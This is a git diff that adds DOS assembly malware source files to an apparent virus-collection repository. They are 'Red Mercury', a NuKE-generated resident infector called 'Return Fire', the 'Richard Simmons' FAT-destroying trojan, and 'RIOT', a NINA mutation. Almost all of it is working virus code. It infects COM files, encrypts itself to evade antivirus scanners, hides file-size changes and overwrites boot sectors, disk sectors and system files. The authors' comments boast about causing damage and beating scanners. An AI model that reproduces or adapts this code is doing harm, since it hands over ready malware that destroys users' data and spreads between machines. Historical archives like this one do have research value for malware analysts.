displayed. Also, we will not infect files + ; that is 1701 bytes long. Pretty dumb, huh? + ; +cmp word ptr [bp+virus_end+35],'DN' +jz already_infected ; We'll not infect command.com, b'cos + ; of many people check that file for virus, + ; and also b'cos of normal people don't + ; got to much file under the root-dir anyhow. +;------------------------------------------------------------------------------- +; Here is the "tricky" part. First we'll move the file pointer to end of file, +; take 4 bytes from a buffer, containing (now), nothing, then, load it with +; our own instructions and write it to the beginning of the file. After that, +; we'll move to end_of_file and call the procedure in the beginning +; (un-encrypted area!) that writes the virus to the end of the infected file +;------------------------------------------------------------------------------- +Move_file_pointer_2_EOF: ; +mov ax,4202h ; AH, 42h = Set current file pointer + ; (Current location in file), and + ; AL, 02H = Signed offset from end of file +xor cx, cx ; Most significal half of offset (zero) +xor dx, dx ; Least significal half of offset (zero) +int 21h ; + ; +sub ax,4 ; Subtract the first four bytes, which + ; will be overwritten with the instructions + ; that we took from End of File, that was + ; stored in an empty buffer "Istbuf" + ; +Fill_1st_buf: ; Now, load the 1stbuf with +mov word ptr [bp+Istbuf],0e990h ; with a Nop and a jump to the +mov word ptr [bp+Istbuf+2],ax ; virus beginning + ; +Move_file_pointer_2_TOF: ; Set current file pointer to +mov ax,4200h ; the beginning of file (00h) +int 21h ; + ; +Write_first4: ; +mov ah,64d ; Write the new instructions +mov cx,4 ; to the beginning of the file +lea dx,[bp+Istbuf] ; with the buffer we just loaded +int 21h ; + ; +Mov_2_EOF_again: ; It would be smarter to call write_virus +mov ax,4202h ; before we moved the file-pointer to +xor cx,cx ; Top_of_file, instead of moving the file- +xor dx,dx ; pointer to End_of_File twice, but IMHO +int 21h ; it doesn't really matters anyhow. + ; +Get_random: ; +mov ah,2ch ; Get a random value from the clock +int 21h ; to use for the encryption so the A-V +add dl, dh ; must place the string at the encryption + ; routine, thus making it easy to mutate + ; later on... + ; +jz get_random ; If we get the value zero (no encryption) +mov word ptr [bp+encryption_value],dx ; we'll loop that procedure until + ; we get a higher value + ; +call write_virus ; Now, write the virus code from 100h + ; (Where this file start) to end_of_file) + ; to the end of file in the opened file. + ; +jmp short restore_time_date ; Then we'll cover our tracks + ; +Already_infected: ; If a file already is infected +inc di ; increase DI (used for infection counter) + ; with one. + ; +Restore_Time_Date: ; We'll set back the file time/date to +lea si,[bp+virus_end+16h] ; what it was before we touched it +mov cx,word ptr [si] ; CX=Time +mov dx,word ptr [si+2] ; DX=Date +mov ax,5701h ; AH=57h AL=01h = Set time/date +int 21h ; + ; +Close_file: ; Close the file which now is infected +mov ah,3eh ; +int 21h ; + ; +Set_old_attrib: ; Restore old file-attribs, because of +mov ax,4301h ; before we infected the file, we cleared +xor ch,ch ; the file attributes, so even the hidden, +mov cl,byte ptr [bp+virus_end+15h] ;and write protected files get infected +lea dx,[bp+virus_end+1eh] ; +int 21h ; (AH=43H AL = 01 = Set Attribs) + ; +Enough_files: ; +dec di ; Decrease the infection counter with 1 +cmp di,0 ; and check if we've infected enough +je no_more_files ; Di=0, we're done with the infection + ; +mov ah,4fh ; Nope, we want more files to infect +jmp _4fh ; and we'll do this until we're finished + ; +On_Ram: ; +On_Floppy: ; We are executed from + ; A B or G: + ; +mov ah,2ch ; Get time (dl=1/100 of a second) +int 21h ; +cmp dl,50 ; That is 50% chanse that we're bad, +ja Trash_Boot_Sector ; or REAL bad. +jmp droppie ; (Blame Caro, Blame Caro!) + ; This might look stupid, not to "ja droppie" + ; since I got the Trash_Boot_Sector as the + ; next procedure anyhow. But that would result + ; in a "Relative jump out of range by 0004h + ; bytes" since we with a short/condition jmp + ; only can jump 128 bytes forward in the code. + ; +Trash_boot_Sector: ; We might be executed from a A B or G: + ; or the date is the 31:st, we will +mov ax,0301h ; destroy the boot-sector on drive C: +mov cx,0001h ; +mov dx,0080h ; 80h = C: 00h = A: +lea bx,[bp+virus_start] ; Overwrite with our own virus code +int 13h ; + ; +Truncate_Files: ; +mov dx, offset file1 ; c:\Autoexec.bat +call trunc_it ; +mov dx, offset file2 ; c:\Config.sys +call trunc_it ; +mov dx, offset file3 ; c:\Command.com +call trunc_it ; +call restore_start ; + ; +Trunc_it: ; We'll truncate the somehow important +mov ah,3ch ; files after we've trashed the boot-sector +mov cx,110b ; and if something screws up, we'll jump +int 21h ; and check for what else we can do that +jc no_more_files ; clearly mainifests our presence to even +ret ; the uninitiated. Ie, of plain cruelness :). + ; +No_more_files: ; We didn't find any more file, or + ; the infection counter is zero. + ; +mov ah,2ch ; We'll get a 1/100 of a second, +int 21h ; and if the value we get is "1", +cmp dl,1 ; we'll jump to a nice pay-load. +je overwriting ; Otherwise, we continue and check + ; what else we can do.. +Dates: ; +mov ah,2ah ; Get Date, and compare it to, +int 21h ; + ; +cmp dl,31 ; 31:st? +je trash_boot_sector ; Yep! + ; +Dee_day: ; +cmp dx, _0606 ; Date 0606? +je droppie ; Yep! + ; +cmp dx, _0707 ; Date 0707? +je droppie ; Yep! + ; +cmp dx, _0808 ; Date 0808? +je droppie ; Yep! + ; +cmp dx, _0909 ; Date 0909? +je overwriting ; Yep! + ; +cmp dx, _0505 ; Date 0505? +je overwriting ; Yep! + ; + ; If no conditions-matched, or we + ; just return here from another + ; pay-load that called us, we'll, +Restore_start: ; Copy the 4bytes to the +lea si,[bp+@buf] ; beginning of this file +mov di,256d ; in memory (100h) +movsw ; +movsw ; + ; +Restore_dir: ; Change back to the directory +lea dx,[bp+virus_end+2ch] ; from where we were executed, +mov ah,3bh ; b'cos of we used the dot-dot +int 21h ; method to travel around.. + ; +Exit_proc: ; Now, it's time to give the control +mov bx,100h ; to the "real" program. This is of'cos +push bx ; encrypted, otherwise, TBAV would detect +xor ax,ax ; it as "back-to-entry-point". +retn ; + ; +Ch_dir: ; +mov ah,3bh ; Change directory to '..' +lea dx,[bp+dot_dot] ; "Mov dx, offset dot_dot" won't work! +int 21h ; +Root_Dir: ; AX is probably 03h, ie, location doesn't +jc no_more_files ; exist. (Trying) to goto dot-dot from '\'. + ; +No_err: ; Return to routine that jumped to ch_dir, +jmp find_first ; and search for the first file in that + ; directory + ; +Droppie: ; Since I use the drop-file routine for +call Cr_file ; two different pay-loads, it's smarter + ; to call the create/file and close/file + ; instead of writing them twice, I think. + ; (Saving bytes equ loosing speed). + ; +Write_File: ; Then, we'll write to it. +mov ax,bx ; File handle in BX +mov ah,64d ; 40HEX! +mov cx,trashlenght ; Number of bytes to write +lea dx,[bp+fuck_disks] ; What to write +int 21h ; + ; +Close_target_file: ; +mov ah,3eh ; Close the file c:\dos\keyb.com +int 21h ; Then, we'll returning +jmp short restore_start ; nice and un-noticed! + ; +Overwriting: ; +call Cr_file ; Create/Truncate the file, + ; in wich we'll write our +Write_2nd_Pay_Load: ; "a-bit-nicer-than-droppie-pay-load", +xchg ax,bx ; that will force them to re-install +mov ah,40h ; DOS. Pretty harmless, but fun! +mov cx,ow_lenght ; +lea dx,[bp+ow_vir] ; + ; +int 21h ; Saving 3 bytes by calling this +call Close_Target_File ; procedure instead of writing it again! + ; +Cr_File: ; +mov ah,3ch ; Create/Truncate a file +mov cx,0 ; Attribs=Noting +lea dx,[bp+filename] ; What file to create +int 21h ; +ret ; +;------------------------------------------------------------------------------- +; These "garbage" text is really code, that we'll drop under circum conditions +; to c:\dos\keyb.com. The ow_vir is an overwriting virus, and the trash_disks +; is a plain, simple and highly destructive trojan. Use with care! + +Ow_vir db "$).1FF",0ffh,"@Q!",0ffh,"úMN!sø=!",0ffh,">!O*.*" +Ow_lenght equ $-ow_vir + +Fuck_disks db 'w&<uI hereby annex this sector as the property of IR!' +Trashlenght equ $-fuck_disks +;------------------------------------------------------------------------------- +V_name db " Red Mercury (c) '94 The Unforgiven/Immortal Riot " + +Filemask db '*IR.COM',0 ; Files to search for (*.com) +Dot_dot db '..',0 ; Directory to change to + +Filename db 'c:\dos\keyb.com',0 ; File to trojanize +File1 db 'c:\autoexec.bat',0 ; File to truncate +File2 db 'c:\config.sys',0 ; File to truncate +File3 db 'c:\command.com',0 ; File to truncate + +_0505 equ 0505h ; Day = 0606 +_0606 equ 0606h ; Day = 0606 +_0707 equ 0707h ; Day = 0707 +_0808 equ 0808h ; Day = 0808 +_0909 equ 0909h ; Day = 0909 + ; +Buffers: ; +First_bytes db 90h,90h,50h,0c3h ; Jump construction +@buf db 4 dup(0) ; Empty space to be +Istbuf db 4 dup(0) ; filled with instructions + ; +Virus_end: ; +end virus_start ; +;------------------------------------------------------------------------------- +; Here follow the "pay-loads" used in Red Mercury: +; +; A little pay-load-trojan used in Red Mercury +; -------------------------------------------- + +; Pay-load function: +; This code will under some circumstances dropped in the file +; c:\dos\keyb.com, that is called from autoexec.bat, which will +; result in a total destruction on all harddrives. + +; General-information. +; It's a very very simple trojan, using int26h (sector write), +; it's like all trojan, very very small and fast and I wouldn't +; suggest that you try it out. + +; This is NOT thought to be used as a pure trojan, and I don't +; encourage you to only spread this file. That wouldn't be fair. + +; Greetings to all destructive virus writers! /The Unforgiven + +.model tiny +.code +org 100h +start: + +mov al,2h ; Al holds the number of drive, 2H=C: 3H=D:, etc +mov cx,777h ; 777H = 1911d (# of sectors to trash) +lea bx,n1911 ; Just a little note +fuck_next: ; +cwd ; Write from sector 0 +int 26h ; Sector write +inc al ; Increase AL (Add 1# to drive C-D, etc) +cmp al,25 ; Compare if al=25 (drive=Z) +jne fuck_next ; If it isn't, jump and trash next drive +quit: ; Now it's time to quit. +RET ; +n1911 db 'I hereby annex this sector as the property of IR!' +end start +;------------------------------------------------------------------------------- +; A little pay-load-virus used in Red Mercury +; ------------------------------------------- + +; Pay-load function: +; This will be dropped to the file c:\dos\keyb.com, that often +; is called from autoexec.bat, which will result in that all files +; in DOS being overwritten. + +; General-information: +; It's a simple overwriting virus, BUT not released "alone" as +; the purpose as a virus that will infect systems and travel +; around the world. It's rather an original pay-load, outsmarted +; by my creative/destructive brain. + +; Virus-information: +; The virus will overwrite *.* in the directory from where it's +; executed from. It will re-infect files, though the file increace +; will not be noticed since it overwrites the beginning of the +; files. The virus itself is 81 bytes, this could of'cos be a lot +; more optimized, for example place the encryption-routine at the end, +; and exchange the encryption routine to something smaller but it's just +; the work of 10 minutes coding so I don't really care that much. Also, +; I don't claim this to be specefic small nor good, so don't rag with +; me, please. + +; It's encrypted, and as I know, only F-Prot detects it. +; (Might be infected with an unknown virus). TbScan's normal heuristic +; mode can't find it, and the most advanced mode in TbScan got a detection +; rate on about 30%. Scan can ofcause not detect it. /The Unforgiven + +; Riot.Trivial.Pay.load.81. + +.model tiny +.code +org 100h + +virus_start: + +call encrypt_decrypt +jmp short encryption_start + +encrypt_val dw 0 ; Really really stupid.. + +encrypt_decrypt: +mov si, offset encryption_start +mov dx, encrypt_val +mov cx,(end_of_virus-encryption_start+1)/2 + +xor_loop: +xor word ptr cs:[si],dx +inc si +inc si +loop xor_loop +ret + +write_virus: +call encrypt_decrypt +mov dx,100h ; Where to write from +mov ah,40h ; 40hex! +mov cl,81 ; Bytes to write +int 21h + +call encrypt_decrypt +ret + +encryption_start: + +Find_first_file: +mov dx,offset all ; Files to search for +mov ah,4eh ; Find first + +find_next: ; ah=4fh +int 21h + +jnc open ; We find one! +;jmp exit ; Did not!, quitting. +ret ; This saves bytes! + +open: +mov ax,3d02h ; Open in read/write mode +mov dx,9eh ; Adress to filename to open +int 21h ; + +mov encrypt_val,250 ; Value to encrypt with + +xchg ax,bx ; File handle in BX +call write_virus ; Now, write the virus + + +close_file: +mov ah,3eh ; Close the infected file +int 21h ; + +mov ah,4fh ; Find next file +jmp short find_next ; + +all db '*.*',0 ; Files to overwrite + +virus_end: +end_of_virus: +end virus_start \ No newline at end of file diff --git a/r/REGDISP.ASM b/r/REGDISP.ASM new file mode 100755 index 0000000..d331dba Binary files /dev/null and b/r/REGDISP.ASM differ diff --git a/r/RETURN-F.ASM b/r/RETURN-F.ASM new file mode 100755 index 0000000..dd52446 --- /dev/null +++ b/r/RETURN-F.ASM @@ -0,0 +1,443 @@ +;Ŀ +; THiS iS a [NuKE] RaNDoMiC LiFe GeNeRaToR ViRuS. [NuKE] PoWeR +; CReaTeD iS a N.R.L.G. PRoGRaM V0.66 BeTa TeST VeRSioN [NuKE] WaReZ +; auToR: aLL [NuKE] MeMeBeRS [NuKE] PoWeR +; [NuKE] THe ReaL PoWeR! [NuKE] WaReZ +; NRLG WRiTTeR: AZRAEL (C) [NuKE] 1994 [NuKE] PoWeR +; + +.286 +code segment +assume cs:code,ds:code +org 100h + +start: CALL NEXT + +NEXT: + mov di,sp ;take the stack pointer location + mov bp,ss:[di] ;take the "DELTA HANDLE" for my virus + sub bp,offset next ;subtract the large code off this code + ; +;******************************************************************* +; #1 DECRYPT ROUTINE +;******************************************************************* + +cmp byte ptr cs:[crypt],0b9h ;is the first runnig? +je crypt2 ;yes! not decrypt +;---------------------------------------------------------- +mov cx,offset fin ;cx = large of virus +lea di,[offset crypt]+ bp ;di = first byte to decrypt +mov dx,1 ;dx = value for decrypt +;---------------------------------------------------------- +deci: ;deci = fuck label! +;---------------------------------------------------------- + +inc word ptr [di] +inc byte ptr [di] +add word ptr [di],0e6e9h +sub byte ptr [di],01fh +add byte ptr [di],05fh +inc di +inc di +;---------------------------------------------------------- +jmp bye ;######## BYE BYE F-PROT ! ########## +mov ah,4ch +int 21h +bye: ;#### HEY FRIDRIK! IS ONLY A JMP!!### +;----------------------------------------------------------- +mov ah,0bh ;######### BYE BYE TBAV ! ########## +int 21h ;### (CANGE INT AT YOU PLEASURE) ### +;---------------------------------------------------------- +loop deci ;repeat please! + ; +;***************************************************************** +; #2 DECRYPT ROUTINE +;***************************************************************** + ; +crypt: ;fuck label! + ; +mov cx,offset fin ;cx = large of virus +lea di,[offset crypt2] + bp ;di = first byte to decrypt +;--------------------------------------------------------------- +deci2: ; +xor byte ptr cs:[di],1 ;decrytion rutine +inc di ;very simple... +loop deci2 ; +;--------------------------------------------------------------- +crypt2: ;fuck label! + ; +MOV AX,0CACAH ;call to my resident interrup mask +INT 21H ;for chek "I'm is residet?" +CMP Bh,0CAH ;is equal to CACA? +JE PUM2 ;yes! jump to runnig program +call action +;***************************************************************** +; NRLG FUNCTIONS (SELECTABLE) +;***************************************************************** + +;**************************************************************** +; PROCESS TO REMAIN RESIDENT +;**************************************************************** + +mov ax,3521h +int 21h ;store the int 21 vectors +mov word ptr [bp+int21],bx ;in cs:int21 +mov word ptr [bp+int21+2],es ; +;--------------------------------------------------------------- +push cs ; +pop ax ;ax = my actual segment +dec ax ;dec my segment for look my MCB +mov es,ax ; +mov bx,es:[3] ;read the #3 byte of my MCB =total used memory +;--------------------------------------------------------------- +push cs ; +pop es ; +sub bx,(offset fin - offset start + 15)/16 ;subtract the large of my virus +sub bx,17 + offset fin ;and 100H for the PSP total +mov ah,4ah ;used memory +int 21h ;put the new value to MCB +;--------------------------------------------------------------- +mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin +mov ah,48h ; +int 21h ;request the memory to fuck DOS! +;--------------------------------------------------------------- +dec ax ;ax=new segment +mov es,ax ;ax-1= new segment MCB +mov byte ptr es:[1],8 ;put '8' in the segment +;-------------------------------------------------------------- +inc ax ; +mov es,ax ;es = new segment +lea si,[bp + offset start] ;si = start of virus +mov di,100h ;di = 100H (psp position) +mov cx,offset fin - start ;cx = lag of virus +push cs ; +pop ds ;ds = cs +cld ;mov the code +rep movsb ;ds:si >> es:di +;-------------------------------------------------------------- +mov dx,offset virus ;dx = new int21 handler +mov ax,2521h ; +push es ; +pop ds ; +int 21h ;set the vectors +;------------------------------------------------------------- +pum2: ; + ; +mov ah,byte ptr [cs:bp + real] ;restore the 3 +mov byte ptr cs:[100h],ah ;first bytes +mov ax,word ptr [cs:bp + real + 1] ; +mov word ptr cs:[101h],ax ; +;------------------------------------------------------------- +mov ax,100h ; +jmp ax ;jmp to execute + ; +;***************************************************************** +;* HANDLER FOR THE INT 21H +;***************************************************************** + ; +VIRUS: ; + ; +cmp ah,4bh ;is a 4b function? +je REPRODUCCION ;yes! jump to reproduce ! +cmp ah,11h +je dir +cmp ah,12h +je dir +dirsal: +cmp AX,0CACAH ;is ... a caca function? (resident chek) +jne a3 ;no! jump to a3 +mov bh,0cah ;yes! put ca in bh +a3: ; +JMP dword ptr CS:[INT21] ;jmp to original int 21h +ret ; +make db '[NuKE] N.R.L.G. AZRAEL' +dir: +jmp dir_s +;------------------------------------------------------------- +REPRODUCCION: ; + ; +pushf ;put the register +pusha ;in the stack +push si ; +push di ; +push bp ; +push es ; +push ds ; +;------------------------------------------------------------- +push cs ; +pop ds ; +mov ax,3524H ;get the dos error control +int 21h ;interupt +mov word ptr error,es ;and put in cs:error +mov word ptr error+2,bx ; +mov ax,2524H ;change the dos error control +mov dx,offset all ;for my "trap mask" +int 21h ; +;------------------------------------------------------------- +pop ds ; +pop es ;restore the registers +pop bp ; +pop di ; +pop si ; +popa ; +popf ; +;------------------------------------------------------------- +pushf ;put the registers +pusha ; +push si ;HEY! AZRAEL IS CRAZY? +push di ;PUSH, POP, PUSH, POP +push bp ;PLEEEEEAAAAAASEEEEEEEEE +push es ;PURIFY THIS SHIT! +push ds ; +;------------------------------------------------------------- +mov ax,4300h ; +int 21h ;get the file +mov word ptr cs:[attrib],cx ;atributes +;------------------------------------------------------------- +mov ax,4301h ;le saco los atributos al +xor cx,cx ;file +int 21h ; +;------------------------------------------------------------- +mov ax,3d02h ;open the file +int 21h ;for read/write +mov bx,ax ;bx=handle +;------------------------------------------------------------- +mov ax,5700h ; +int 21h ;get the file date +mov word ptr cs:[hora],cx ;put the hour +mov word ptr cs:[dia],dx ;put the day +and cx,word ptr cs:[fecha] ;calculate the seconds +cmp cx,word ptr cs:[fecha] ;is ecual to 58? (DEDICATE TO N-POX) +jne seguir ;yes! the file is infected! +jmp cerrar ; +;------------------------------------------------------------ +seguir: ; +mov ax,4202h ;move the pointer to end +call movedor ;of the file +;------------------------------------------------------------ +push cs ; +pop ds ; +sub ax,3 ;calculate the +mov word ptr [cs:largo],ax ;jmp long +;------------------------------------------------------------- +mov ax,04200h ;move the pointer to +call movedor ;start of file +;---------------------------------------------------------- +push cs ; +pop ds ;read the 3 first bytes +mov ah,3fh ; +mov cx,3 ; +lea dx,[cs:real] ;put the bytes in cs:[real] +int 21h ; +;---------------------------------------------------------- +cmp word ptr cs:[real],05a4dh ;the 2 first bytes = 'MZ' ? +jne er1 ;yes! is a EXE... fuckkk! +;---------------------------------------------------------- +jmp cerrar +er1: +;---------------------------------------------------------- +mov ax,4200h ;move the pointer +call movedor ;to start fo file +;---------------------------------------------------------- +push cs ; +pop ds ; +mov ah,40h ; +mov cx,1 ;write the JMP +lea dx,[cs:jump] ;instruccion in the +int 21h ;fist byte of the file +;---------------------------------------------------------- +mov ah,40h ;write the value of jmp +mov cx,2 ;in the file +lea dx,[cs:largo] ; +int 21h ; +;---------------------------------------------------------- +mov ax,04202h ;move the pointer to +call movedor ;end of file +;---------------------------------------------------------- +push cs ; +pop ds ;move the code +push cs ;of my virus +pop es ;to cs:end+50 +cld ;for encrypt +mov si,100h ; +mov di,offset fin + 50 ; +mov cx,offset fin - 100h ; +rep movsb ; +;---------------------------------------------------------- +mov cx,offset fin +mov di,offset fin + 50 + (offset crypt2 - offset start) ;virus +enc: ; +xor byte ptr cs:[di],1 ;encrypt the virus +inc di ;code +loop enc ; +;--------------------------------------------------------- +mov cx,offset fin +mov di,offset fin + 50 + (offset crypt - offset start) ;virus +mov dx,1 +enc2: ; + +sub byte ptr [di],05fh +add byte ptr [di],01fh +sub word ptr [di],0e6e9h +dec byte ptr [di] +dec word ptr [di] +inc di +inc di ;the virus code +loop enc2 ; +;-------------------------------------------- +mov ah,40h ; +mov cx,offset fin - offset start ;copy the virus +mov dx,offset fin + 50 ;to end of file +int 21h ; +;---------------------------------------------------------- +cerrar: ; + ;restore the +mov ax,5701h ;date and time +mov cx,word ptr cs:[hora] ;file +mov dx,word ptr cs:[dia] ; +or cx,word ptr cs:[fecha] ;and mark the seconds +int 21h ; +;---------------------------------------------------------- +mov ah,3eh ; +int 21h ;close the file +;---------------------------------------------------------- +pop ds ; +pop es ;restore the +pop bp ;registers +pop di ; +pop si ; +popa ; +popf ; +;---------------------------------------------------------- +pusha ; + ; +mov ax,4301h ;restores the atributes +mov cx,word ptr cs:[attrib] ;of the file +int 21h ; + ; +popa ; +;---------------------------------------------------------- +pushf ; +pusha ; 8-( = f-prot +push si ; +push di ; 8-( = tbav +push bp ; +push es ; 8-) = I'm +push ds ; +;---------------------------------------------------------- +mov ax,2524H ; +lea bx,error ;restore the +mov ds,bx ;errors handler +lea bx,error+2 ; +int 21h ; +;---------------------------------------------------------- +pop ds ; +pop es ; +pop bp ;restore the +pop di ;resgisters +pop si ; +popa ; +popf ; +;---------------------------------------------------------- +JMP A3 ;jmp to orig. INT 21 + ; +;********************************************************** +; SUBRUTINES AREA +;********************************************************** + ; +movedor: ; + ; +xor cx,cx ;use to move file pointer +xor dx,dx ; +int 21h ; +ret ; +;---------------------------------------------------------- +all: ; + ; +XOR AL,AL ;use to set +iret ;error flag + +;*********************************************************** +; DATA AREA +;*********************************************************** +largo dw ? +jump db 0e9h +real db 0cdh,20h,0 +hora dw ? +dia dw ? +attrib dw ? +int21 dd ? +error dd ? + +;--------------------------------- +action: ;Call label +MOV AH,2AH ; +INT 21H ;get date +CMP Dl,byte ptr cs:[action_dia+bp] ;is equal to my day? +JE cont ;nop! fuck ret +cmp byte ptr cs:[action_dia+bp],32 ; +jne no_day ; +cont: ; +cmp dh,byte ptr cs:[action_mes+bp] ;is equal to my month? +je set ; +cmp byte ptr cs:[action_mes+bp],13 ; +jne NO_DAY ;nop! fuck ret +set: ; +mov AH,9 ;yeah!! +MOV DX,OFFSET PAO ;print my text! +INT 21H ;now! +INT 20H ;an finsh te program +NO_DAY: ;label to incorrect date +ret ;return from call +;--------------------------------- + + +PAO: +DB 10,13,'YOU ARE INFECTED WITH A VIRUS!!! "RETURN FIRE!" ver 2.8 "F-prot cannot survive!!"','$' + +;***************************************************** +dir_s: + pushf + push cs + call a3 ;Get file Stats + test al,al ;Good FCB? + jnz no_good ;nope + push ax + push bx + push es + mov ah,51h ;Is this Undocmented? huh... + int 21h + mov es,bx + cmp bx,es:[16h] + jnz not_infected + mov bx,dx + mov al,[bx] + push ax + mov ah,2fh ;Get file DTA + int 21h + pop ax + inc al + jnz fcb_okay + add bx,7h +fcb_okay: mov ax,es:[bx+17h] + and ax,1fh ;UnMask Seconds Field + xor al,byte ptr cs:fechad + jnz not_infected + and byte ptr es:[bx+17h],0e0h + sub es:[bx+1dh],OFFSET FIN - OFFSET START ;Yes minus virus size + sbb es:[bx+1fh],ax +not_infected:pop es + pop bx + pop ax +no_good: iret +;******************************************************************** +; THIS DIR STEALTH METOD IS EXTRAC FROM NUKEK INFO JOURNAL 4 & N-POX +;********************************************************************* + +action_dia Db 07H ;day for the action +action_mes Db 04H ;month for the action +FECHA DW 01eH ;Secon for mark +FECHAd Db 01eH ;Secon for mark dir st +fin: +code ends +end start diff --git a/r/RICHARDS.ASM b/r/RICHARDS.ASM new file mode 100755 index 0000000..37ab914 --- /dev/null +++ b/r/RICHARDS.ASM @@ -0,0 +1,83 @@ +; RICHARDS.ASM -- R. Simmons Trojan +; Created with Nowhere Man's Virus Creation Laboratory v1.00 +; Written by Nowhere Man + +virus_type equ 3 ; Trojan Horse +is_encrypted equ 1 ; We're encrypted +tsr_virus equ 0 ; We're not TSR + +code segment byte public + assume cs:code,ds:code,es:code,ss:code + org 0100h + +start label near + +main proc near + call encrypt_decrypt ; Decrypt the virus + +start_of_code label near + +stop_tracing: mov cx,09EBh + mov ax,0FE05h ; Acutal move, plus a HaLT + jmp $-2 + add ah,03Bh ; AH now equals 025h + jmp $-10 ; Execute the HaLT + mov bx,offset null_vector ; BX points to new routine + push cs ; Transfer CS into ES + pop es ; using a PUSH/POP + int 021h + mov al,1 ; Disable interrupt 1, too + int 021h + jmp short skip_null ; Hop over the loop +null_vector: jmp $ ; An infinite loop +skip_null: mov byte ptr [lock_keys + 1],130 ; Prefetch unchanged +lock_keys: mov al,128 ; Change here screws DEBUG + out 021h,al ; If tracing then lock keyboard + + mov si,offset data00 ; SI points to data + mov ah,0Eh ; BIOS display char. function +display_loop: lodsb ; Load the next char. into AL + or al,al ; Is the character a null? + je disp_strnend ; If it is, exit + int 010h ; BIOS video interrupt + jmp short display_loop ; Do the next character +disp_strnend: + + mov ax,0002h ; First argument is 2 + mov cx,0010h ; Second argument is 16 + cli ; Disable interrupts (no Ctrl-C) + cwd ; Clear DX (start with sector 0) + int 026h ; DOS absolute write interrupt + sti ; Restore interrupts + + + mov ax,04C00h ; DOS terminate function + int 021h +main endp + +data00 db "C'mon now, trim that FAT! 1 and 2 and 3 and....",13,10,10,0 + +vcl_marker db "[VCL]",0 ; VCL creation marker + + +note db "The Richard Simmons Trojan; gu" + db "aranteed to get rid of that un" + db "sightly FAT in no time!",0 + db "[Richard Simmons Trojan]",0 + db "Nowhere Man, [NuKE] '92",0 + +end_of_code label near + +encrypt_decrypt proc near + mov si,offset start_of_code ; SI points to code to decrypt + mov cx,(end_of_code - start_of_code) / 2 ; CX holds length +xor_loop: xor word ptr [si],06734h ; XOR a word by the key + inc si ; Do the next word + inc si ; + loop xor_loop ; Loop until we're through + ret ; Return to caller +encrypt_decrypt endp +finish label near + +code ends + end main \ No newline at end of file diff --git a/r/RIOT.ASM b/r/RIOT.ASM new file mode 100755 index 0000000..dabbe8c --- /dev/null +++ b/r/RIOT.ASM @@ -0,0 +1,195 @@ +; VirusName : RIOT! - Revolution In Our Time +; Country : Sweden +; Author : The Unforiven / Immortal Riot +; Date : 15/09/1993 +; +; +; This is a mutation of the NINA virus, and well, +; havn't really changed much in this code, just +; fooled Mcafee's Scan and Dr Alan Toolkit. +; +; Okey, this might not be the very best mutation born, +; but think in this way, if this mutation is so bad +; then aren't the anti-virus products even worse ? +; +; The original virus was pretty "OK", it is a RES virus, +; non-overwriting com infector. It will infect the program +; after you have started it. It will not infect renamed +; exe files. (..It looks at the victim's fileheader..) +; +; This was originally found in Bulgaria (...where else...) +; but this one will probably be found in Sweden.... +; +; Really hope this file will annoy some folks around, +; cuz it certainly annoyed me!..... +; +; This virus don't got a "trash" routine, cuz I figure +; it to very funny anyway, and when it's a resident +; virus, we can hope it'll travel around a while, +; instead of just trash the sorry swapper who gets it. +; +; Scan v108 don't find this, neither does S&S Toolkit 6.54, +; havn't tried with TBScan/F-Prot, but they will probably +; identify it as the "Nina" virus. +; +; Remember..Peace In Our Time.. ...NOT! + +.model tiny +.code +org 100h +start: +; push ax ; Original push "ax", + PUSH DX ; But push dx instead, + ; and S&S FindViru can't + ; find it as NINA-256 :) + + mov ax,9753h ; installation check + int 21h + mov ax,ds + dec ax + mov ds,ax ; ds->program MCB + mov ax,ds:[3] ; get size word + push bx + push es + sub ax,40h ; reserve 40h paragraphs + mov bx,ax + mov ah,4Ah ; Shrink memory allocation + int 21h + + mov ah,48h ; Allocate 3Fh paragraphs + mov bx,3Fh ; for the virus + int 21h + + mov es,ax ; copy virus to high + xor di,di ; memory + mov si,offset start + 10h ; start at MCB:110h + mov cx,100h ; (same as PSP:100h) + rep movsb + sub ax,10h ; adjust offset as if it + push ax ; originated at 100h + mov ax,offset highentry + push ax + retf + +highentry: + mov byte ptr cs:[0F2h],0AAh ; change MCB's owner so the + ; memory isn't freed when + ; the program terminates + mov ax,3521h ; get int 21h vector + int 21h + + mov word ptr cs:oldint21,bx ; save it + mov word ptr cs:oldint21+2,es + push es + pop ds + mov dx,bx + mov ax,2591h ; Int 91h to int 21h + int 21h + + push cs + pop ds + mov dx,offset int21 + mov al,21h ; set int 21h to virus vector + int 21h + + pop ds ; ds->original program PSP + pop bx + push ds + pop es + +ENDFILE dw 100h ; Size of infected COM file + +return_COM: + mov di,100h ; restore original + mov si,endfile ; file + add si,di ; adjust for COM starting + mov cx,100h ; offset + rep movsb + pop ax + push ds ; jmp back to original + mov bp,100h ; file (PSP:100) + push bp + retf +exit_install: + pop ax ; pop CS:IP and flags in + pop ax ; order to balance the + pop ax ; stack and then exit the + jmp short return_COM ; infected COM file +int21: + cmp ax,9753h ; installation check? + je exit_install + cmp ax,4B00h ; execute? + jne exitint21 ; nope, quit + push ax ; save registers + push bx + push cx + push dx + push ds + call infect + pop ds ; restore registers + pop dx + pop cx + pop bx + pop ax +exitint21: + db 0eah ; jmp far ptr +oldint21 dd ? + +infect: + mov ax,3D02h ; open file read/write + int 91h + jc exit_infect + mov bx,ax + mov cx,100h + push cs + pop ds + mov ah,3Fh ; Read first 100h bytes + mov dx,offset endvirus + int 91h + mov ax,word ptr endvirus + cmp ax,'MZ' ; exit if EXE + je close_exit_infect + cmp ax,'ZM' ; exit if EXE + je close_exit_infect + cmp word ptr endvirus+2,9753h ; exit if already + je close_exit_infect ; infected + mov al,2 ; go to end of file + call move_file_pointer + cmp ax,0FEB0h ; exit if too large + ja close_exit_infect + cmp ax,1F4h ; or too small for + jb close_exit_infect ; infection + mov endfile,ax ; save file size + call write + mov al,0 ; go to start of file + call move_file_pointer + mov dx,100h ; write virus + call write +close_exit_infect: + mov ah,3Eh ; Close file + int 91h +exit_infect: + retn + +move_file_pointer: + push dx + xor cx,cx + xor dx,dx + mov ah,42h + int 91h + pop dx + retn + +write: + mov ah,40h ; 40HEX..writing to file + mov cx,100h + int 91h + retn + + db ' RIOT!' ; Revolution In Our Time! +endvirus: + int 20h ; original COM file + end start + +; Greeting goes out to : Raver, Metal Militia, Scavenger, +; and all other revolutionary coders in our time... \ No newline at end of file diff --git a/r/RITZEN.ASM b/r/RITZEN.ASM new file mode 100755 index 0000000..a989c53 --- /dev/null +++ b/r/RITZEN.ASM @@ 